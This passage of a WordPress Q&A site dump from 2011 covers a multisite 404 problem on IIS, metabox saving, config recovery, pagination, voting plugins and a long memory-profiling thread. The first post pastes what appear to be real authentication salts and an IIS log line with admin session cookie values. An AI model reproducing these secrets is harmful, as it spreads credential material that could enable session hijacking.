ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;/conditions&amp;gt;&#xA;                &amp;lt;action type=&quot;None&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 5&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*)&quot;    ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;{R:2}&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 6&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^([_0-9a-zA-Z-]+/)?(.*\.php)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;{R:2}&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 7&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;.&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;        &amp;lt;/rules&amp;gt;&#xA;    &amp;lt;/rewrite&amp;gt;&#xA;&amp;lt;/system.webServer&amp;gt;&#xA;&#xA;wp-config.php&#xA;/**&#xA;* WordPress Localized Language, defaults to English.&#xA;*&#xA;* Change this to localize WordPress.  A corresponding MO file for the chosen&#xA;* language must be installed to wp-content/languages. For example, install&#xA;* de.mo to wp-content/languages and set WPLANG to 'de' to enable German&#xA;* language support.&#xA;*/&#xA;define ('WPLANG', '');&#xA;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', false ); &#xA;$base = '/wp/';&#xA;define( 'DOMAIN_CURRENT_SITE', 'domain.org' );&#xA;define( 'PATH_CURRENT_SITE', '/wp/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;define( 'AUTH_SALT', 'UG]DQ~pflYnP&amp;lt;O (uXD^diI^zcErSb!W+^4NOc4ckwQV/g53kTVk+@y}GG| ,1A^' );&#xA;define( 'SECURE_AUTH_SALT', 'Xyb9`EH@jCM zM2&amp;amp;wVR-}y/X]S.fGW*exW$yCG@]=yfxA,xl/X&amp;lt;ar:&amp;amp;S?   MOlV|).' );&#xA;define( 'LOGGED_IN_SALT', 'K.D%E8~N)`w=x0NddBp0sp|x(4,{;eiH2#K|?w1v2|G{?(u-Izs:nDMSR,%tfTkJ' );&#xA;define( 'NONCE_SALT', '3!qj?jfXu9M/#y`6P&amp;lt;&amp;gt;*9+Y`&amp;gt;A4A/MH3@5mJ(6R&amp;lt;G|zh`V)*@V,!3.cDabL.;K.G' );&#xA;&#xA;/* That's all, stop editing! Happy blogging. */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the web server log.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2011-02-24 15:56:22 W3SVC5 IPA-VMWEBSERVER 192.168.1.18 GET /wp/contract/wp-admin/ - 80 - 192.168.1.179 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+Trident/4.0;+SLCC1;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.21022;+.NET+CLR+1.1.4322;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30618;+.NET4.0C;+OfficeLiveConnector.1.5;+OfficeLivePatch.1.3;+.NET4.0E) wp-settings-1=editor%3Dhtml%26m8%3Do;+wp-settings-time-1=1297441872;+wordpress_test_cookie=WP+Cookie+check;+wordpress_logged_in_4d694f484a2b33eb741b86b3dbcdd5ba=admin%7C1298665509%7Cf027d5943c6bc5805b25cd4edaa9c582;+wordpress_fc78d5186b80f13a1ab5798d6e7108d1=admin%7C1298669223%7C95d939def305624366775accf37cdc73;+wordpress_logged_in_fc78d5186b80f13a1ab5798d6e7108d1=admin%7C1298669223%7C5485eb5e49a2a73c00e6681a9371b5f5;+PHPSESSID=o2j84clq88k6hdko5qla3d2a30;+ASPSESSIONIDSCQSBTSS=KCPHIPFCBLNAIMOFJDOJIJIL;+__qca=P0-1288991887-1298492686841 http://domain.org/wp/wp-admin/ domain.org 404 0 2 5492 1324 203&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3481" LastActivityDate="2011-03-08T18:22:38.360" Title="receiving a 404 error after creating a new site with new multisite configuration using IIS7" Tags="&lt;multisite&gt;&lt;404-error&gt;&lt;iis&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="10449" PostTypeId="2" ParentId="10447" CreationDate="2011-02-25T16:13:48.543" Score="0" ViewCount="" Body="&lt;p&gt;i actually just finished working on a site that needed images in his feeds so i ended up using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ba_post_image_feeds($content) {&#xA;    global $post,$posts;&#xA;    $first_img = '';&#xA;    ob_start();&#xA;    ob_end_clean();&#xA;    $output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches);&#xA;    $first_img = $matches [1] [0];&#xA;&#xA;    if(!empty($first_img)){   &#xA;&#xA;        $content = '&amp;lt;div&amp;gt;' . $first_img . '&amp;lt;/div&amp;gt;' . $content;&#xA;    }&#xA;    return $content;&#xA;}&#xA;&#xA;&#xA;add_filter('the_excerpt_rss', 'ba_post_image_feeds');&#xA;add_filter('the_content_feed', 'ba_post_image_feeds');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T16:13:48.543" CommentCount="1" />
  <row Id="10450" PostTypeId="1" CreationDate="2011-02-25T16:24:05.683" Score="0" ViewCount="109" Body="&lt;p&gt;I've a strange problem on an already update wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a page that has a custom meta-box to edit some fields. &#xA;I'm using this function to save the custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;wp_insert_post&quot;, &quot;_wp_insert_post&quot;, 10, 2);  &#xA;// When a post is inserted or updated&#xA;function _wp_insert_post($post_id, $post = null)&#xA;{&#xA;    global $meta_fields;&#xA;&#xA;    if ($post-&amp;gt;post_type == &quot;post&quot;) {&#xA;        foreach (array_merge($meta_fields) as $key=&amp;gt;$key_meta)&#xA;        {&#xA;&#xA;            $value = @$_POST[$key];&#xA;            $post_id=$post-&amp;gt;ID;&#xA;            if (empty($value))&#xA;            {&#xA;                delete_post_meta($post_id, $key);&#xA;                continue;&#xA;            }&#xA;&#xA;            // If value is a string it should be unique&#xA;            if (!is_array($value))&#xA;            {&#xA;                // Update meta&#xA;                if (!update_post_meta($post_id, $key, $value))&#xA;                {&#xA;                    // Or add the meta data&#xA;                    add_post_meta($post_id, $key, $value);&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                // If passed along is an array, we should remove all previous data&#xA;                delete_post_meta($post_id, $key);&#xA;&#xA;                // Loop through the array adding new values to the post meta as different entries with the same name&#xA;                foreach ($value[0] as $entry) {&#xA;                    add_post_meta($post_id, $key, $entry);&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data will be saved in the DB.&lt;br&gt;&#xA;The problem is that, after saving this values, the admin stays on this page &lt;code&gt;wp-admin/post.php&lt;/code&gt; with a WSOD, instead redirecting to &lt;code&gt;wp-admin/post.php?post=22&amp;amp;action=edit&amp;amp;message=1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activating WP_DEBUG does'nt give me any clues, no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you have some hints ?&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-25T16:24:05.683" Title="Wordpress is not redirecting to edit post after saving a post with a custom metabox!" Tags="&lt;custom-field&gt;&lt;wp-admin&gt;&lt;save-post&gt;" CommentCount="3" />
  <row Id="10451" PostTypeId="1" AcceptedAnswerId="10452" CreationDate="2011-02-25T16:40:08.443" Score="0" ViewCount="100" Body="&lt;p&gt;Hey guys, i did a mistake on a wp site, i uploaded a wrong wp-config.php file on the server during a 3.1 update, saw the mistake, recreated a good one with the good infos, uploaded the file and didnt get back the site! Now wordpress askes me to install it! Which i dont want to, cos it's all already installed. I backuped the database and checked it online, it's all fine, with for exemple the good infos for 'home' and 'url' tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows what's going on (the install question) and i could get it back, it'd be more than welcome (am kinda stressed a lot now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question, if i do reinstall it, will it crash the existing datas in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i checked the english version which is on the same database on the same server, site.com/en, it works fine.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-02-25T17:02:06.687" Title="WP already installed is asking to install" Tags="&lt;upgrade&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10452" PostTypeId="2" ParentId="10451" CreationDate="2011-02-25T17:02:06.687" Score="1" ViewCount="" Body="&lt;p&gt;Got it back, the &lt;code&gt;$table_prefix&lt;/code&gt; line was wrong in my wp-config.php. Fiu.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-02-25T17:02:06.687" />
  <row Id="10453" PostTypeId="2" ParentId="10223" CreationDate="2011-02-25T17:07:45.187" Score="2" ViewCount="" Body="&lt;p&gt;You failed to update the files in the root of WordPress. I don't know why, but a lot of people make this simple mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not enough to upgrade only the wp-admin and wp-includes directories. The files in the root directory, such as wp-settings.php and all the other wp-* files there, also must be upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.1 no longer contains a wp-include/classes.php file, and the wp-settings.php file from 3.1 doesn't try to load it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-25T17:07:45.187" CommentCount="1" />
  <row Id="10454" PostTypeId="1" CreationDate="2011-02-25T17:18:09.063" Score="0" ViewCount="41" Body="&lt;p&gt;I'm using the built-in menu system from TwentyTen, and I want to try and style a sprite image with rollovers. This seems a bit cumbersome with the way the class names are setup automatically. Is there a way to configure this? Am I going about this the right way?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-25T17:18:09.063" Title="I want to have the built-in menu use a custom image sprite" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;css&gt;" CommentCount="2" />
  <row Id="10456" PostTypeId="1" AcceptedAnswerId="10460" CreationDate="2011-02-25T17:59:03.923" Score="1" ViewCount="76" Body="&lt;p&gt;I am using both wp_update_user() and update_user_meta() and I want to be able to check for an error, and if one occurs, output it to the user.  Is this possible using something like $result = wp_update_user()?  I don't want an integer though I want to read the text of the error.&lt;/p&gt;&#xA;" OwnerUserId="3118" LastActivityDate="2011-02-25T19:01:24.900" Title="Is it possible to read a result if wp_update_user or update_user_meta fails?" Tags="&lt;usermeta&gt;" AnswerCount="1" />
  <row Id="10457" PostTypeId="1" CreationDate="2011-02-25T18:14:02.033" Score="0" ViewCount="105" Body="&lt;p&gt;I'm getting most of what's going on in the following code, with some help from &lt;a href=&quot;http://www.php.net&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its current situation, only one page on the site triggers the popup form if no cookie is set. Is that functionality specified within this code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the functions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['confirm']) &amp;amp;&amp;amp; isset($_POST['location'])) { &#xA;    setcookie(&quot;Location&quot;, $_POST['location'], time()+3600);     &#xA;}&#xA;elseif (!isset($_COOKIE[&quot;Location&quot;])) {&#xA;    setcookie(&quot;Location&quot;, &quot;&quot;, 1);&#xA;}&#xA;elseif (isset($_POST['deny'])) {&#xA;    setcookie(&quot;Location&quot;, &quot;&quot;, 1);&#xA;}&#xA;&#xA;// Popup confirmation &#xA;function show_popup($content) {&#xA;    global $post;&#xA;    $location = get_post_meta($post-&amp;gt;ID, 'location', TRUE);&#xA;    if (strtolower($l) == strtolower($location) || strlen($location) == 0   &#xA;    || (isset($_COOKIE[&quot;Location&quot;]) &amp;amp;&amp;amp; strtolower($_COOKIE[&quot;Location&quot;])  &#xA;    == strtolower($location))) {&#xA;        return $content;&#xA;    } else {&#xA;        ?&amp;gt;&#xA;        &amp;lt;div id=&quot;popup&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Foo.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Yes/No?&amp;lt;/p&amp;gt;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo $PHP_SELF ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;location&quot; value=&quot;&amp;lt;?php echo $location; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;confirm&quot; value=&quot;Yes&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;deny&quot; value=&quot;No&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;add_filter('the_content', 'show_popup');&#xA;&#xA;// Adds content to the &amp;lt;head&amp;gt; tag&#xA;function add_meta_content() {&#xA;if(isset($_POST['deny'])) {&#xA;?&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=&amp;lt;?php bloginfo ('wpurl') ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;if(isset($_POST['confirm'])) {&#xA;?&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=&amp;lt;?php echo $PHP_SELF; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;}&#xA;add_action('wp_head', 'add_meta_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3514" LastActivityDate="2011-02-25T20:17:50.017" Title="How are these PHP functions applied to a specific page in WordPress?" Tags="&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="10458" PostTypeId="1" CreationDate="2011-02-25T18:14:19.410" Score="4" ViewCount="295" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote it up&lt;/a&gt; plugin is nice but once you vote something you can't undo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a voting plugin which is similar to the one you find here at StackExchange? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can undo your vote and vote down).&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-21T17:46:42.117" Title="Is there a StackExchange-like voting plugin for Wordpress?" Tags="&lt;plugins&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" />
  <row Id="10459" PostTypeId="1" AcceptedAnswerId="10461" CreationDate="2011-02-25T18:15:26.807" Score="0" ViewCount="127" Body="&lt;p&gt;I have the following code in my search results page to split up posts per category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the 2nd page of pagination, the results are exactly the same as the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming $paged has to be inserted but i'm not sure where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: &lt;a href=&quot;http://wordpress.pastebin.com/qWnaLxgd&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.pastebin.com/qWnaLxgd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live Example: &lt;a href=&quot;http://theartistree.fm/?s=sufjan&quot; rel=&quot;nofollow&quot;&gt;http://theartistree.fm/?s=sufjan&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3495" LastActivityDate="2011-02-25T19:01:34.063" Title="Search results with custom loop don't update when paged" Tags="&lt;search&gt;&lt;loop&gt;&lt;customization&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10460" PostTypeId="2" ParentId="10456" CreationDate="2011-02-25T19:01:24.900" Score="1" ViewCount="" Body="&lt;p&gt;Not really. Deep down such functions are essentially writes to database. So either database write fails (which doesn't produce meaningful message to return) or data is somehow wrong and function just returns &lt;code&gt;false&lt;/code&gt; to escape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is probably to control data user inputs, not result of WP trying to process that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS worth mentioning that for debug &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_DEBUG&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Show_and_Hide_SQL_Errors&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wpdb&lt;/code&gt; error echoing&lt;/a&gt; rock, but it's not exactly what you are asking for.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T19:01:24.900" />
  <row Id="10461" PostTypeId="2" ParentId="10459" CreationDate="2011-02-25T19:01:34.063" Score="0" ViewCount="" Body="&lt;p&gt;In line 51: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&quot;s='$s'&amp;amp;cat=177&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;s='$s'&amp;amp;cat=177&amp;amp;paged=$paged&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2011-02-25T19:01:34.063" CommentCount="1" />
  <row Id="10462" PostTypeId="1" AcceptedAnswerId="10470" CreationDate="2011-02-25T19:15:09.367" Score="0" ViewCount="58" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote it up&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of placing the two most voted posts at the top? (Like in Youtube)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not very sure if this is hard or easy to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone posted a method in the Wordpress forums &lt;a href=&quot;http://file:///home/alex/Desktop/plugin-vote-it-up-show-top-voted-post-in-index-page.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schindel&lt;/a&gt; said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This example is absolutely AWFUL. It&#xA;  may work but it's far more code than&#xA;  you needs and may break on a future&#xA;  version of WordPress.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been playing with Wordpress for a while but Im still a PHP beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of fixing that code posted in the Wordpress forums?&#xA;Or a better method?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-25T19:40:11.550" LastActivityDate="2011-02-25T19:42:14.437" Title="Placing the two most voted posts at the top (in a Wordpress site that uses the Vote it up plugin)?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="10463" PostTypeId="1" CreationDate="2011-02-25T19:15:27.633" Score="22" ViewCount="712" Body="&lt;p&gt;I had a close look at Wordpress memory consumption. On my site, it seems that for each page hit 20MB of RAM gets allocated, just to prepare comfy environment for all the plugins to run in. I plotted it thusly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_memory_consumption.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no single spot to optimize, no single bad guy who eats most of the memory. Consumption is all spread over many many many php modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we make Wordpress initialize its environment in memory only once, and then reuse it many times for each hit? I do not want to have slow PHP eat 20 MB at each user click - even on a server with lots of memory, it takes seconds to get all that work done. You would basically need read-only chunks of memory that can be reused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also... why 20MB? Can anyone  provide insights into this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here is WinCacheGrind output on the Wordpress running on my development machine (vastly faster than the shared hosting). As you can see, it takes over a second of crunching just to produce the main page's HTML. Slow that down by shared hosting and you have a recipe for trouble. I picked the method that takes most of the time. How would you go about optimizing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_cpu_usage.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here are query statistics from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/4612#4612&quot;&gt;this fantastic functions.php profiling tool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Load: 12 queries - 532ms - 19.1MB - 43 cache hits / 53&#xA;Query: 15 queries - 563ms - 19.0MB - 72 cache hits / 86&#xA;Display: 21 queries - 705ms - 19.2MB - 234 cache hits / 257&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Do you want to see something guaranteed to freak you out? Insert these lines at the end of index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;print_r(get_defined_vars());&#xA;echo &quot;&amp;lt;/pre&amp;gt;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to count how many times is the current post's body stored in the memory. I counted 20 instances. Then I realized that PHP has reference counting, so the amount of copies reduced to just three: two seem to be in WP_Query, one in the object cache. I am investigating further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why I think WordPress is in need of refactoring targeting the memory issues. You can no longer blame its memory consumption on sheer complexity of what it does. It simply does a bunch of things &lt;em&gt;wrong&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: After a day of trying to figure this out, here are my findings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) 88% of all memory comes from require or include or include_once type of calls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_memory_requires.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The php file includes happen mostly during the first part of serving a request (not surprisingly), which is also where all the memory is eaten up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_includes.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) It is quite interesting to plot all the functions that are being executed during making a request. There are over 12000 calls total. I jittered them to make it more visible (the Level axis is basically depth of stack):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_functions.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The only way forward that I can think of is minimizing the amount of .php files included. If I split the functions per file they came from, you can see that many files are hit once or twice at most. We need a way how to skip those when they are not needed. For instance my remote database backup plugin gets loaded and registered, just to be never used at all. Here is the above plot split by file name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_functions_files.gif&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am offering a bounty worth all my reputation :) for refactorings that would lead to cutting my blogs memory footprint by 30% or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I installed WP 3.1, here is comparison with the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_memory_usage_comparison.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blue is WP 3.1, red is 3.0.4. The new WP is faster, but also eats more memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list by include file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/wordpress_3.1_vs_3.0.4_mem_by_file.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This let me realize just how much memory is eaten by &quot;All In One SEO pack&quot; - one avenue would be to use only a fraction of the plugin's functionality to get what I want. Also, my own plugins seem to be pretty bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to try conditional loading on e.g. comment.php (I disallow comments on my blog) and several others. I deleted all the deprecated code. I trimmed down kses.php to only load its global tables on demand. I simplified l10n (I do no localization), making its functions return the strings right away, without lookups. I am still far from the 30% mark I arbitrarily set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I downloaded and enabled APC with default settings (32MB of opcode cache). Here is the comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://zenka.net/roman/3.1_without_with_apc.png&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that the code loading accelerated massively, and the code also takes less space in memory (probably because we deal just with opcodes, not the original source). The memory consumption is however still quite high.&lt;/p&gt;&#xA;" OwnerUserId="3515" LastEditorUserId="3515" LastEditorDisplayName="" LastEditDate="2011-03-06T21:27:38.860" LastActivityDate="2011-03-06T21:27:38.860" Title="Refactoring Wordpress to improve memory performance" Tags="&lt;optimization&gt;&lt;memory&gt;" AnswerCount="7" CommentCount="4" FavoriteCount="18" />
  <row Id="10464" PostTypeId="2" ParentId="10222" CreationDate="2011-02-25T19:16:33.233" Score="1" ViewCount="" Body="&lt;p&gt;I am not entirely sure what you are trying to do. But you are definitely a little off with &lt;code&gt;add_action()&lt;/code&gt;. Should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myFunctionThatSendsMyWebsite($post_ID, $post) { &#xA;&#xA;    // $post_ID and $post will have post's ID and full post object&#xA;}&#xA;add_action('save_post', 'myFunctionThatSendsMyWebsite', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T19:16:33.233" CommentCount="5" />
  <row Id="10465" PostTypeId="2" ParentId="9979" CreationDate="2011-02-25T19:16:43.040" Score="0" ViewCount="" Body="&lt;p&gt;How about you store &amp;amp; keep them updating in the options table by the native linux cron and just fetch in on pages (database read). This way page load times won't be affected at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Alrite! If you are familiar with how alternate cron works in WordPress by creating another process and then continue with its work. Adapting that approach would seem to be a good solution to your case along with transients to initiate such a request.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-02-26T13:10:02.463" LastActivityDate="2011-02-26T13:10:02.463" CommentCount="5" />
  <row Id="10466" PostTypeId="2" ParentId="10463" CreationDate="2011-02-25T19:21:29.670" Score="13" ViewCount="" Body="&lt;p&gt;Not worth the trouble. WordPress doesn't eat a lot of memory just-because. It eats a lot of memory because it runs a lot of functionality under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is far more easier and efficient to cache results (page generated) with static cache plugin and serve that. That way most visitor will not even hit WP itself.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-25T19:21:29.670" CommentCount="6" />
  <row Id="10467" PostTypeId="1" AcceptedAnswerId="12463" CreationDate="2011-02-25T19:25:23.613" Score="0" ViewCount="377" Body="&lt;p&gt;I just moved a site from one domain to another and now category links are all 404. I have flushed the rewrite rules, recreated the .htaccess file but still it throws up 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weird thing is that if I delete &lt;code&gt;.htaccess&lt;/code&gt; file, then the posts are still accessible by &lt;code&gt;domain.com/postname/&lt;/code&gt; and when I save permalinks, then it is created there. So can it be the case it is using some other .htaccess file? Possibly some fallback that I am not aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Re-Edit:&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;Tag pages don't work fine&lt;/em&gt;&lt;/strong&gt;. Its all weird. Tags generally give 404, one of them opened a non 404 page but not what it should be (i.e. posts listing under that tag). And a category redirects itself to one of the posts. This all led me to conclude that tags were working but they are not. Also everything works, when I turn off the permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a custom slug for category 